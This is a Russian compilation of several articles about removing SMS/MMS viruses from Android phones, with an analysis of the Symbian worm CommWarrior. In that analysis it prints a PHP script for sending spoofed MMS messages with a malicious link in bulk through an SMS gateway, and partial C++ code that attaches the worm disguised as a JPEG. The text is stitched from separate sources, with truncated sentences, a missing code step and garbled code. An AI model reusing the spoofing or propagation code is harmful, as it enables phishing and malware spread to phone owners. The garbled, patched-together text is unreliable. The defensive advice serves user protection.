Как удалить вирус ммс послание с андроида. Приложение mms послание

Очень многие пользователи подхватили на своих Андроид устройствах вирус-приложение SMS/MMS New, которое вызывает неизвестные уведомления, может отправлять платные сообщения, отслеживать личные данные и звонки. Помимо всего этого некоторые пользователи получают сообщение о сбое стандартной опции – “В приложении SMS/MMS произошла ошибка” . В нашей небольшой статье мы собрали все самые полезные и действенные решения, которые помогут удалить этот вирус из телефона.

Вирусные СМС сообщения

Как удаляются вирусы

Вирусы, ориентированные на захват функции отправки сообщений в Андроиде, распространяются уже давно. Так, до сих пор через данные с Авито распространяется зловред ММС-центр . Удаляется такой вирус через запуск безопасного режима в телефоне, после проходите в Настройки – функция Безопасность – опция Администрирование – Администраторы устройств, где снимается галочка с программы. После следует стандартное удаление через Диспетчер.

Сейчас же активничает троянское приложение SMS/MMS New . Источников распространения очень много, в основном это популярный софт и рассылка сообщений (со ссылками типа http://mms-new.ru/id169). Удаляется этот троян подобно ММС-центру:

Следует в безопасном режиме выполнить вышеописанные действия и проверить в Администраторы устройств вирус New и если есть снять галочку.
После запустите сканирование мобильным антивирусом Dr.Web Light . Применить можно и другие сканеры, но я рекомендую именно доктора – базы уж очень актуальные у него.
Далее удалите все предустановленные программы и загрузки. Также сделайте сброс стандартных настроек приложений СМС/ММС в телефоне.

В приложении SMS/MMS произошла ошибка – как исправить

Такие вирусы после себя могут оставить сбой в системном приложении. Чаще всего такой сбой вызван сбитыми настройками. После попытки отправить сообщение, пользователи получают уведомление, что в приложении смс/ммс произошла ошибка.

ММС-центр в пакетах мобильного оператора Билайн необходим для отправки и получения контента (фото, видео, картинок, документов) на телефоне посредством предоставляемой сотовой связи. Однако в последнее время на андроид-устройствах участились случаи заражения вирусом, который выдаёт себя за доверенную службу ММС. Многие пользователи, не подозревая присутствие такой «маскировки», задаются вопросом, как удалить MMS-центр Билайн. Но на самом деле перед ними стоит задача куда более серьёзней - им нужно удалить вирус.

Эта статья поможет вам разобраться с ММС-службой на телефоне: вы узнаете, как функционирует доверенный сервис и замаскированный вирус.

Настоящий MMS-центр

Как уже и говорилось в начале статьи, данная служба занимается отправкой данных через коммуникационные каналы оператора. В этом формате (ММС) можно пересылать файлы объёмом до 500 кб, а также текстовые послания размером не больше 1000 знаков. Отправка контента возможна как внутри сети оператора, так и в сети других компаний. В том числе, в режиме роуминга (за пределами территории России).

Чтобы воспользоваться услугой MMS, её необходимо активировать:

1. Перед тем как приступить к активации, убедитесь в том, что ваше мобильное устройство поддерживает работу с медиаконтентом (просмотр картинок, видео и т.д.).

2. Отправьте USSD-запрос на подключение - *110*181#.

Примечание. Билайн после отправки этой команды предоставляет вместе с MMS также и мобильный GPRS.

3. Закажите автоматическую настройку MMS в вашем телефоне при помощи сервисной службы 0880.

Примечание. Также вы можете ознакомиться с настройкой по номеру 060432 (пункт «Настройки»).

4. Перезагрузите телефон для завершения его регистрации в сервисе ММС.

Осторожно: MMS-центр - вирус!

Чтобы убрать это вирусное приложение, выполните следующие действия:
1. Перезапустите мобильное устройство в безопасном режиме. Если вы не знаете, как выполняется эта процедура, найдите в интернете руководство по её выполнению именно для вашей модели телефона.

Использование популярного особенно среди молодежи MMS-сервиса таит в себе немало опасностей, о которых большинство пользователей, к сожалению, не подозревает.

В один прекрасный день вы можете получить MMS-сообщение или от вашего знакомого, или с неизвестного вам телефонного номера, или даже якобы от вашего сотового оператора. Откроете его и заразите свой телефон вирусом. В тексте зараженных MMS-сообщений может содержаться информация о том, что в приложении к нему находится бесплатная игра от вашего сотового оператора, новый рингтон от друга или архив с фотографиями от вашей дочери. Все это будет убеждать вас в необходимости скачать, установить или сохранить на карте памяти то, что было прислано в сообщении. Иногда в MMS-сообщении может находиться ссылка на какое-либо приложение или какой-то архив в Интернете.

MMS-сообщение, которое вы откроете на своем мобильном телефоне, не только может заразить ваш аппарат вирусом, но и разослать зараженные сообщения на номера телефонов из вашей записной книги.

Опаснее всего то, что когда ваш телефон будет заражен подобным образом, он сам станет атаковать абонентов мобильной связи из вашего списка контактов. То есть ваши друзья, знакомые или коллеги будут получать от вас MMS-сообщения с вирусом. В свою очередь пораженные сотовые телефоны ваших коллег начнут атаковать телефонные номера из своих адресных книг. Подобный процесс будет иметь лавинный характер и, в конечном итоге, может привести к массовым заражениям мобильных устройств.

В настоящее время подобные сценарии не очень распространены из-за того, что популярность MMS-сервисов недостаточно высока, а мобильный Интернет стоит дорого. Далеко не каждый пользователь станет закачивать себе на сотовый телефон прикрепленную программу или архив, предпочитая сделать это дома на стационарном компьютере, где это будет более экономично.

Тем не менее, в условиях падения цен на мобильный Интернет, появления безлимитных тарифов , популяризации MMS-сервиса, а также при соответствующем развитии вирусных технологий, подобные сценарии в будущем могут стать вполне реальными.

MMS (Multimedia Messaging Service) — это сервис передачи сообщений, который обеспечивает автоматическую мгновенную передачу личных мультимедийных сообщений на телефонный номер или на адрес электронной почты. Эта технология кардинально изменила набор услуг, которыми может пользоваться абонент при передаче сообщений. Однако с появлением новых возможностей появились и новые уязвимости.

Так как технология MMS позволяет передавать вместе с сообщением файл приложения, то этим механизмом тут же воспользовались вирусы для своего распространения. В данный момент уже существует подобный вирус. Он носит название CommWarrior. Вредоносная программа поражает телефоны Nokia серии 60 на базе операционной системы Symbian. примитивны и характерны для его аналогов на компьютере: вредоносный код передается на мобильное устройство в виде входящего MMS-сообщения с вложенным медиа-файлом — картинкой, аудио- или видеозаписью.

Внутри самого сообщения находится текст (всего выявлено 20 различных вариантов), который всячески побуждает абонента сотовой связи открыть вложенный файл. О том, как устроен сам вирус, будет рассказано позже, а пока рассмотрим, как злоумышленник может целенаправленно атаковать интересующий его мобильный телефон с помощью MMS. PHP-скрипт, представленный ниже, осуществляет запрос на отправку MMS-сообщения через коммерческий SMS-шлюз по протоколу http/https.

1 2 $user=»user»;
3 $password=»password»;
4 $api_id=»xxx»;
5 $text=urlencode(«Бесплатная игра от MegaPone, скачай и играй!»);
6 $to=»79035555555″;
7 $from=»MegaPone»;
8 $mms__url=»http://somesmscenter.ru/game.mms»;
9 $ret= file («http://smscenter.com/auth?user=$user&password=$password&apijd=$apijd»);
10 if ($ret ==»OK»){
11 for ($1=0; $i<100; $i++)
12 {
13 $ret= file («http://smscenter.com/sendmsg?to=$to8rtext=$text»);
414 if ($ret == «OK») echo «Success. Message was sent»;
15 }
16 }
17 else echo «Error. Message was not sent»;

Для злоумышленника передача сообщения через SMS-шлюз является предпочтительной тем, что он может указать в качестве отправителя номер, которому доверяет атакуемый, а в поле текста — сообщение, которое может побудить жертву открыть вложение. В параметре $mms_url он устанавливает адрес вредоносного содержимого, расположенного в Интернете. В параметре $from указывается номер абонента, а в поле $text — сам текст.

MMS-сообщения вируса Commwarrior содержат текст, побуждающий открыть сообщение, и файл commw.sis. Расширение прикрепленного файла SIS указывает на то, что файл является исполняемым для платформы Symbian — самой распространенной операционной системы для мобильных устройств в настоящее время.

Последняя версия вируса Commwarrior рассылает жертвам MMS со следующими сообщениями:

Заголовок: 3DNow!
Сообщение: 3DGame from me. It is FREE !

Заголовок: MatrixRemover
Сообщение: Matrix has you. Remove matrix!

Заголовок: Nokia ringtoner
Сообщение: Nokia RingtoneManager for all models.

После того, как содержащий Commwarrior SIS файл будет установлен, выполняемые файлы будут помещены в папку:

\system\apps\CommWarrior\commwarrior.exe
\system\apps\CommWarrior\commrec.mdl

При выполнении commwarrior.exe вирус копируется в папки

\system\updates\commrec.mdl
\system\updates\commwarrior.exe
\system\updates\commw.sis

После создания файла \system\updates\commw.sis вирус приступает к рассылке MMS-сообщений.

Рассмотрим некоторые детали механизма заражения с помощью MMS-сообщений. Приведенные отрывки программного «тела» вируса являются неполными из соображений безопасности, а сам разбираемый код относится лишь к отправке MMS-сообщений и никак не связан с вредоносной нагрузкой вируса.

Итак, сначала вирус создает сессию для работы с центром сообщений. Делается это с помощью следующего оператора.

iSession = CMsvSession::OpenAsyncL(*this);

Полученный идентификатор сессии используется для создания клиента, который будет обращаться к центру сообщений. Такой клиент создается следующим образом.

iMtmReg = CCIientMtmRegistry::NewL(*iSession);

Так как работа с центром сообщений ведется только для отправки MMS-сообщений, то необходимо выполнить преобразование созданного клиента в MMS-клиент.

iMmsMtm =mstatic_cast
(iMtmReg->NewMtmL (KUidMsgTypeMultimedia));

После того, как необходимая предварительная работа выполнена, вирус переходит к созданию самого MMS-сообщения. Для этого необходимо, во-первых, указать, что сообщение создается в каталоге «Черновики» мобильного телефона. Делается это следующим образом.

iMmsMtm->SwitchCurrentEntryL(KMsvDraftEntryld);

Метод SwitchCurrentEntryL, вызываемый с параметром Kmsv-DraftEntryld, показывает, что текущим местом создания как раз выбирается каталог «Drafts», то есть как раз каталог «Черновики». После того, как каталог определен, создается MMS-сообщение с параметрами «по умолчанию». Делается это с помощью следующего вызова:

iMmsMtm->CreateMessageL(iMmsMtm->DefaultServiceL())

Далее надо инициализировать основные поля сообщения MMS. Для этого с помощью макроса _LIT инициализируются основные переменные. В операционной системе Symbian макрос JLIT создает переменные. Таким образом, с его помощью определяются следующие переменные:

LIT(KSamsNumber, «07738123456»);
_LIT(KSamsAlias, «Sam»);
_LIT(KPetesNumber, «07812654321»);
_LIT(KMessageSubject, «Nokia ringtoner»);

Переменные могут носить произвольные имена. В приведенном примере в переменной KSamsNumber хранится номер атакуемого абонента, а в создаваемой переменной KSamsAlias хранится его имя, указанное в записной книжке. В переменную KPetesNumber вписывается номер отправителя, а в созданную переменную KMessageSubject записывается тема сообщения. После того как все переменные сформированы, осуществляется инициализация полей уже созданного MMS-сообщения. Делается это с помощью методов AddAddresseeL и SetSubjectL. Первому методу передается параметр EmsvRecipientTo, который определяет поле отправителя. Параметр EmsvRecipientCc инициализирует поле получателя.

iMmsMtm->AddAddresseeL(EMsvRecipientTo, KSamsNumber, KSamsAlias);
iMmsMtm->AddAddresseeL(EMsvRecipientCc, KPetesNumber);
iMmsMtm->SetSubjectL(KMessageSubject);

Для этого сначала создается переменная с именем прикрепляемого к сообщению файла. В рассматриваемом случае в MMS отправляется сам вирус. Поэтому в качестве имени файла указывается имя вирусной программы.

LIT(KFileName, «virus.sis»);

После того как переменная инициализирована, создается экземпляр класса TfileName, который описывает прикрепленное послание. С помощью метода Append созданного объекта attachmentFile инициализируются такие данные, как путь к файлу и имя самого файла.

TFileName attachmentFile(KPhoneRootPath);
attachmentFile.Append(KDirPictures);
attachmentFile. Append(KFileName);

После совершения этих действий вирус создает и описывает служебную информацию по типам прикрепленных файлов. Обычно вирус намеренно указывает неверный тип прикрепленного файла (mime-тип), например, JPG, чтобы пользователь не заподозрил атаку при передаче ему файла по MMS. Определяются mime типы с помощью следующего программного кода.

CMsvMimeHeaders* mimeHeaders = CMsvMimeHeaders::NewL();
CleanupStack::PushL(mimeHeaders);
mimeHeaders->
SetSuggestedFilenameL(KFileName);

TBufC8<10>
mimeType(KMimeType);

CMsvAttachment* attalnfo = CMsvAttachment::NewL(CMsvAttachment::EMsvFile);
CleanupStack::PushL(attalnfo);
_UT8(KMimeType, «image/jpeg»);
TBufC8<10> mimeType(KMimeType);

В приведенных выше строках описывается то, что к MMS-сообщению прикреплен только один файл. После того, как все необходимые приготовления выполнены, вызывается метод Create Attachment 2 L и MMS-сообщение создается.

iMmsMtm->CreateAttachment2L(
* store,
attachment,
mimeType,
*mimeHeaders,
attalnfo,
attachld);
CleanupStack::Pop(attalnfo);
CleanupStack::PopAndDestroy(mimeHeaders);

формирование сообщения завершается с помощью следующих программных строк.

store->CommitL();
attachment.Close();
CleanupStack::PopAndDestroy(attachment);
CleanupStack::PopAndDestroy(store);

Само сообщение сохраняется после полной подготовки с помощью метода SaveMessageL().

iMmsMtm->SaveMessageL();

Наконец отправка сообщения осуществляется следующим образом.

Таким образом, вирус является самораспространяющимся. Описывать, как реализуется вредоносная часть вируса, которая пересылает ваши персональные данные с телефона, мы не будем по понятным причинам. Наша цель — предупредить пользователя о существующей опасности, а не научить злоумышленника создавать вирусы.

ЗАЩИТА ОТ АТАКИ

Для того чтобы обезопасить свой сотовый телефон, необходимо быть крайне аккуратным при получении MMS-сообщения. Помните, что прикрепленное к сообщению вложение вполне может оказаться вирусом. Именно поэтому далеко не всегда стоит принимать MMS-сообщения от незнакомых абонентов. Если же сообщение представляет для вас интерес, то стоит обязательно просканировать приложение антивирусным средством на предмет наличия вирусов.

Если вирус все же попал на ваше мобильное устройство, то возможность безболезненно от него избавиться все же существует. Вы можете лично удалить вредоносный файл, если знаете, где его найти. В случае, если вас атаковал неизвестный вирус, то придется потратить много времени, чтобы его обнаружить. При этом необходимо быть аккуратным, чтобы случайно не удалить системные файлы.

Для того чтобы самостоятельно удалить вирус Commwarrior, необходим менеджер файлов с возможностью просмотра системных каталогов. С помощью этого менеджера можно удалить из памяти мобильного телефона вирусную папку \system\apps\commwarrior, с находящимися в ней специальными файлами вируса commwarrior.exe и commrec. mdl. В каталоге \system\updates\commwarrior необходимо удалить ключевые вирусные файлы commwarrior.exe, commrec.mdl и commw.sis. В каталоге \system\recogs удалению подлежит файл commrec.mdl.

Вирусы могут быть двух типов:

1. Подделка - используется название и значок какого-нибудь известного приложения, но внутри только зловредный код. Большая часть вирусов именно такого типа.

2. Троянский конь - в нормальное приложение добавляется зловредный код, который работает вместе с приложением.

Что могут вирусы

1. Воровать деньги с SIM-карты: звонить или отправлять SMS на платные номера до тех пор, пока на SIM-карте не закончатся деньги.

2. Воровать информацию: отправлять пароли от интернет-банков, данные банковских карт или личные файлы мошенникам, рассылать сообщения с вирусными ссылками на номера из записной книги от вашего имени.

3. Блокировать нормальную работу устройства: отображать баннер-вымогатель, который не дает пользоваться устройством.

4. Использовать мощность вашего устройства: показывать скрытую рекламу или майнить криптовалюты.

Как вирусы попадают на смартфон или планшет

Мошенники маскируют вирусы под безобидные приложения и файлы: браузеры, плееры, игры, навигаторы, книги, антивирусы. Затем они распространяют их:

1. На сайтах для взрослых, сайтах со взломанными приложениями и пиратскими фильмами, торрент-трекерах и т.п.

Например, ищете в интернете какую-нибудь игру или программу, и попадаете на форум. Кто-то оставил нужную ссылку, и все дружно его благодарят.

На самом деле форум и комментаторы не настоящие.

Или заходите сайт с пиратскими фильмами и сериалами, появляется сообщение. В нем написано, что смартфон/планшет заражен вирусами или какая-то программа сильно устарела. Бывает даже так, что устройство начинает вибрировать или издавать странные звуки.

На самом деле это не так и с устройством все в порядке.

2. По SMS, MMS и электронной почте

Как правило, это SMS от «девушек с сайтов знакомств», с сайтов бесплатных объявлений, письма от «нотариусов из Германии», сообщения о выигрыше в лотерею.

Будьте осторожны, чудес не бывает. В большинстве случев это мошенники.

У всех подобных сообщений общая цель - заставить вас нажать на ссылку, чтобы вирус скачался на устройство.

Как вирусы заражают смартофон или планшет

Чтобы вирус начал работать, мало его скачать, - надо еще и установить. Обычно вирусы загружаются в папку «Загрузки» (Download) и выглядят как установочные файлы приложений с расширением «apk».

Если нажать на вирус, появится список разрешений. Разрешения - это те действия, которые приложение сможет выполнять после установки.

Если нажать «Установить», вирус установится и начнет работать.

Как отличить вирус от нормального приложения

Большая часть вирусов пишется непрофессионалами, которые хотят быстро и без особых проблем с законом получить денег. Поэтому стандартные приметы таких вирусов - разрешения для отправки сообщений или звонков. Когда такой вирус установится, он начнет незаметно отправлять SMS или звонить на платные номера.

Сравним настоящие приложения и вирусы. Антивирус Dr.Web:

Разрешения оригинального антивируса из Play Маркет

Разрешения вируса, который выдает себя за антивирус

Яндекс Навигатор:

Разрешения оригинального навигатора из Play Маркет

Разрешения вируса, который выдает себя за навигатор

Игра Говорящий Том 2:

Разрешения оригинальной игры Том 2 из Play Маркет

Разрешения вируса, который выдает себя за игру Том 2

Конечно, не все приложения, которые запрашивают доступ к звонкам и сообщениям, - вирусы. И не все вирусы запрашивают доступ к платным функциям.

Если мошенники захотят поснимать вашей камерой - потребуется доступ к камере и интернету.
Если потребуются ваши файлы - попросят доступ к памяти и интернету.
Захотят заблокировать экран баннером - запросят права администратора.
А некоторые вирусы вообще умеют скрывать разрешения при установке.

Опознать качественно сделанный вирус сложно - либо нужно смотреть исходный код приложения, либо установить вирус на устройство, снять с него логи (журнал происшествий) и разбираться в них. К счастью, такие вирусы встречаются редко. Чаще вам пригодятся два ориентира:

Если приложение скачалось с неизвестного сайта и запрашивает доступ к платным функциям - это вирус в 99% случаев.

Как обезопасить смартфон или планшет от вирусов

1. Устанавливайте приложения только из Play Маркет и подходите к их выбору серьезно

Отличить вирус от нормального приложения неподготовленному человеку очень сложно. Чтобы обезопасить пользователей, компания Google сделала специальный каталог с приложениями - Play Маркет.

Прежде чем добавить приложение в Play Маркет, Google проверяет, нет ли в нем зловредного кода. Пользователи, которые скачивают приложения из Play Маркет, более защищены, чем те, которые скачивают приложения с разных сайтов и форумов. Но помните, что нет ничего полностью безопасного, поэтому подходите к выбору приложений серьезно: внимательно читайте разрешения и смотрите на рейтинги.

2. Не переходите по неизвестным ссылкам в SMS, MMS или почте

Мошенники даже научились подделывать номера и адреса электронной почты, поэтому сообщения с вирусными ссылками могут приходить и от ваших знакомых.

3. Не рутируйте устройство и не устанавливайте неофициальные прошивки

Если на устройстве есть рут, вирус сможет прописаться в системные приложения и тогда его сможет удалить только полная перепрошивка устройства.

4. Отключите автополучение MMS на вашем устройстве

Мошенники могут автоматически загружать вирусы на устройство через MMS. Это связано с уязвимостями библиотеки Stagefright.

Чтобы отключить автозагрузку MMS выберите: Сообщения → Опции → Настройки → (Дополнительно) → MMS → Автополучение (Автозагрузка) → Отключить.

5. Не подключайте банковскую услугу «Автоплатеж» (автоматическое пополнение баланса телефонного номера при снижении до определенной суммы)

Если вдруг на устройство попадет вирус, который отправляет SMS на платные номера, то баланс SIM-карты будет пополняться до тех пор, пока деньги на карте не закончатся. Сообщения от банка при этом обычно блокируются.

Совет: для получения сообщений от банков и других важных отправителей купите отдельный номер, который никто не будет знать, и простой телефон.

Как понять, что на смартфоне или планшете появился вирус

Не существует однозначных признаков, все зависит от вируса. Одни заметны сразу после установки (появляется баннер и блокируется доступ к устройству), другие могут долгое время себя не выдавать. В большинстве случаев признаки такие:

Появляются большие счета за SMS или звонки;
Появляется баннер с требованием заплатить мошенникам, который не дает пользоваться устройством;
Появляются незнакомые программы;
Очень быстро начинает садиться батарея;
Быстро расходуется интернет-трафик непонятными приложениями;
Устройство начинает сильно тормозить.

Как удалить вирус, если меню открывается

Как удалить вирус, если меню не открывается (баннер-вымогатель)

Если на экране появился баннер-вымогатель и не дает пользоваться устройством:

Не перечисляйте деньги мошенникам - они все равно не разблокируют устройство.

Вытащите SIM-карту, чтобы не списались деньги со счета.

Загрузите устройство в безопасном режиме.

Если баннер в безопасном режиме пропал, отключите права администратора у всех приложений.

Если баннер не пропал, перейдите к пункту №11.

Просмотрите все установленные приложения и удалите неизвестные вам.

Перезагрузите устройство. Устройство загрузится в обычном режиме, баннера не должен быть.

Если после перезагрузки баннер появился, перейдите к пункту №11.

Скачайте антивирус, которому доверяете, через Wi-Fi из Play Маркет.

Устройство вирусов и механизмы работы антивирусов меняются ежедневно, поэтому посоветовать какой-то конкретный антивирус невозможно. Ориентируйтесь на рейтинги других пользователей и отзывы. По мнению автора, неплохие антивирусы: Eset, Kaspersky и Dr. Web.

Проверьте устройство антивирусом и удалите все найденные вирусы.

Удалите антивирус, который установили.

Скачайте другой антивирус и проверьте устройство еще раз.

Если предыдущие варианты не помогают, сделайте сброс данных устройства.

Если самостоятельно справиться с вирусом не удается, обратитесь в сервисный центр Samsung.

Нужен ли антивирус на Android

Если вы начинающий пользователь и не уверены в своих силах - нужен. Но только один.

Если пользуетесь устройством осторожно и соблюдаете правила безопасности, антивирус можно не устанавливать.

Отчего ваш мобильный телефон вдруг начал вести себя не так, как обычно, или вообще «зажил» своей «жизнью»? Возможно, оттого, что в нем поселилась вредоносная программа. Сегодня количество вирусов и троянов для Андроид растет в геометрической прогрессии. Почему? Да потому, что ушлые ребята-вирусописатели знают, что смартфоны и планшеты всё чаще используются нашими согражданами в качестве электронных кошельков, и делают всё, чтобы переместить средства со счетов владельцев в свой карман. Давайте поговорим о том, как понять, что мобильное устройство подхватило инфекцию, как удалить вирус с Андроида и обезопасить себя от повторных заражений.

Симптомы вирусного заражения Android-устройства

Гаджет включается дольше, чем обычно, тормозит или внезапно перезагружается.
В истории SMS и телефонных звонков есть исходящие сообщения и вызовы, которых вы не совершали.
Со счета вашего телефона сами по себе списываются деньги.
На рабочем столе или в браузере отображается реклама, не связанная с каким-либо приложением или сайтом.
Сами по себе устанавливаются программы, включается Wi-Fi, Bluetooth или камера.
Пропал доступ к электронным кошелькам, мобильному банку или по неизвестным причинам уменьшилась сумма на счетах.
Кто-то завладел вашим аккаунтом в социальных сетях или мессенджерах (если используются на мобильном устройстве).
Гаджет заблокирован, а на экране отображается сообщение, что вы что-то нарушили и должны заплатить штраф или просто перевести кому-то деньги за разблокировку.
Внезапно перестали запускаться приложения, пропал доступ к папкам и файлам, заблокировались какие-либо функции устройства (например, не нажимаются кнопки).
При запуске программ выскакивают сообщения, вроде «в приложении com.android.systemUI произошла ошибка».
В списке приложений появились неизвестные иконки, а в диспетчере задач — неизвестные процессы.
Антивирусная программа информирует вас об обнаружении вредоносных объектов.
Антивирусная программа самопроизвольно удалилась с устройства или не запускается.
Батарея телефона или планшета стала разряжаться быстрее, чем всегда.

Не все из этих симптомов стопроцентно указывают на вирус, но каждый является поводом немедленно просканировать устройство на предмет заражения.

Самый простой способ удаления мобильного вируса

Если гаджет сохранил работоспособность, проще всего убрать вирус с помощью установленного на Android антивируса. Запустите полное сканирование флеш-памяти телефона, при обнаружении вредоносного объекта выберите опцию «Удалить», сохранив обезвреженную копию в карантине (на случай, если антивирус обознался и принял за вирус что-то безопасное).

К сожалению, этот способ помогает примерно в 30-40% случаев, поскольку большинство вредоносных объектов активно сопротивляется своему удалению. Но управа существует и на них. Далее мы рассмотрим варианты действий, когда:

антивирус не запускается, не обнаруживает или не удаляет источник проблемы;
вредоносная программа после удаления восстанавливается;
устройство (или его отдельные функции) заблокированы.

Удаление вредоносной программы в безопасном режиме

Если вам не удается почистить телефон или планшет в обычном режиме, попытайтесь это сделать в безопасном. Основная масса вредоносных программ (не только мобильных) не проявляет в безопасном режиме никакой активности и не препятствует уничтожению.

Для загрузки устройства в безопасном режиме нажмите кнопку включения/выключения, установите палец на «Отключить питание» и держите его до тех пор, пока не появится сообщение «Переход в безопасный режим». После этого нажмите ОК.

Если у вас старая версия Android — 4.0 и ниже, выключите гаджет обычным способом и снова включите. При появлении на экране логотипа Android одновременно нажмите клавиши увеличения и уменьшения громкости. Удерживайте их, пока аппарат не загрузится полностью.

Находясь в безопасном режиме, просканируйте устройство антивирусом. Если антивируса нет или он по каким-то причинам не запускается, установите (или переустановите) его из Google Play.

Таким способом успешно удаляются рекламные вирусы типа Android.Gmobi 1 и Android.Gmobi.3 (по классификации Dr. Web), которые закачивают на телефон различные программы (с целью накрутки рейтинга), а также показывают на рабочем столе баннеры и объявления.

Если у вас есть права суперпользователя (root) и вы точно знаете, что именно вызвало проблему, запустите файловый менеджер (например, Root explorer), пройдите по пути расположения этого файла и удалите его. Чаще всего мобильные вирусы и трояны помещают свое тело (исполняемые файлы с расширением.apk) в каталог system/app.

Для перехода в нормальный режим просто перезагрузите устройство.

Удаление мобильных вирусов через компьютер

Удаление вирусов на телефоне через компьютер выручает тогда, когда мобильный антивирус не справляется со своей задачей даже в безопасном режиме или функции устройства частично заблокированы.

Удалить вирус с планшета и телефона, используя компьютер, тоже возможно двумя способами:

с помощью антивируса, установленного на ПК;
вручную через файловый менеджер для Андроид-гаджетов, например, Android Commander.

Используем антивирус на компьютере

Для проверки файлов мобильного устройства антивирусом, установленным на компьютере, подключите телефон или планшет к ПК USB-кабелем, выбрав способ «Как USB-накопитель».

Следом включите USB.

После этого в папке «Компьютер» на ПК появятся 2 дополнительных «диска» — внутренняя память телефона и SD-карта. Для запуска сканирования откройте контекстное меню каждого диска и кликните «Проверить на вирусы».

Удаляем зловреда через Android Commander

Android Commander — программа для обмена файлами между мобильным андроид-гаджетом и ПК. Запускаясь на компьютере, она предоставляет владельцу доступ к памяти планшета или телефона, позволяет копировать, перемещать и удалять любые данные.

Для полноценного доступа ко всему содержимому андроид-гаджета необходимо заранее получить root-права и включить отладку по USB. Последняя активируется через сервисное приложение «Параметры» — «Система» — «Параметры разработчика».

Далее подключите гаджет к ПК как USB-накопитель и запустите с правами администратора Android Commander. В нем, в отличие от проводника Windows, отображаются защищенные системные файлы и каталоги ОС Андроид — так же, как, например, в Root Explorer — диспетчере файлов для root-пользователей.

В правой половине окна Android Commander показаны каталоги мобильного устройства. Найдите в них исполняемый файл приложения (с расширением.apk), которое вызывает проблему, и удалите его. Как вариант — скопируйте подозрительные папки с телефона на компьютер и просканируйте каждую из них антивирусом.

Что делать, если вирус не удаляется

Если вышеописанные операции ни к чему не привели — вредоносная программа по-прежнему дает о себе знать, а также если операционная система после очистки перестала нормально функционировать, придется прибегнуть к одной из радикальных мер:

сбросу с восстановлением заводских настроек через системное меню;
hard reset через меню Recovery;
перепрошивке аппарата.

Любой из этих способов приведет устройство к состоянию как после покупки — на нем не останется никаких пользовательских программ, личных настроек, файлов и другой информации (данных об SMS, звонках и т. п.). Также будет удалена ваша учетная запись Google. Поэтому если есть возможность, перенесите телефонную книгу на SIM-карту и скопируйте платные приложения и другие ценные объекты на внешние носители. Желательно сделать это вручную — без использования специальных программ, чтобы случайно не скопировать вирус. После этого приступайте к «лечению».

Восстанавливаем заводские настройки через системное меню

Этот вариант самый простой. Им можно воспользоваться тогда, когда функции операционной системы и сам аппарат не заблокированы.

Зайдите в приложение «Параметры», откройте раздел «Личные» — «Резервное копирование» и выберите «Сброс с восстановлением заводских настроек».

Hard reset через Recovery-меню

«Жесткий» сброс настроек поможет справиться со зловредом, если он не удаляется ни одним из перечисленных способов или заблокировал вход в систему. К нашей радости, доступ к меню Recovery (восстановления системы) при этом сохраняется.

Вход в Recovery на разных телефонах и планшетах осуществляется по-своему. На одних для этого нужно удерживать при включении клавишу «Громкость+», на других — «Громкость-«, на третьих — нажать специальную утопленную кнопку и т. д. Точная информация содержится в инструкции к аппарату.

В меню Recovery выбираем опцию «wipe data/factory reset» либо просто «factory reset».

Перепрошивка

Перепрошивка — это по сути переустановка ОС Андроид, такая же крайняя мера, как переустановка Windows на компьютере. К ней прибегают в исключительных случаях, например, когда некий китайский вирус внедрен непосредственно в прошивку и обитает на устройстве с момента его «рождения». Одним их таких вредоносов является шпионская программа android spy 128 origin.

Для перепрошивки телефона или планшета потребуются root-права, дистрибутив (сама прошивка), программа инсталляции, компьютер с USB-кабелем или SD-карта. Помните, что для каждой модели гаджета выпускаются свои, индивидуальные версии прошивок. Вместе с ними обычно находятся и инструкции по установке.

Как избежать вирусного заражения Android-устройств

Устанавливайте мобильные приложения только из проверенных источников, откажитесь от взломанных программ.
Обновляйте устройство по мере выпуска апдейтов системы — в них разработчики закрывают уязвимости, которые используют вирусы и трояны.
Установите мобильный антивирус и держите его всегда включенным.
Если гаджет служит вам кошельком, не позволяйте другим людям выходить с него в Интернет или открывать на нем непроверенные файлы.

Главная > Настройка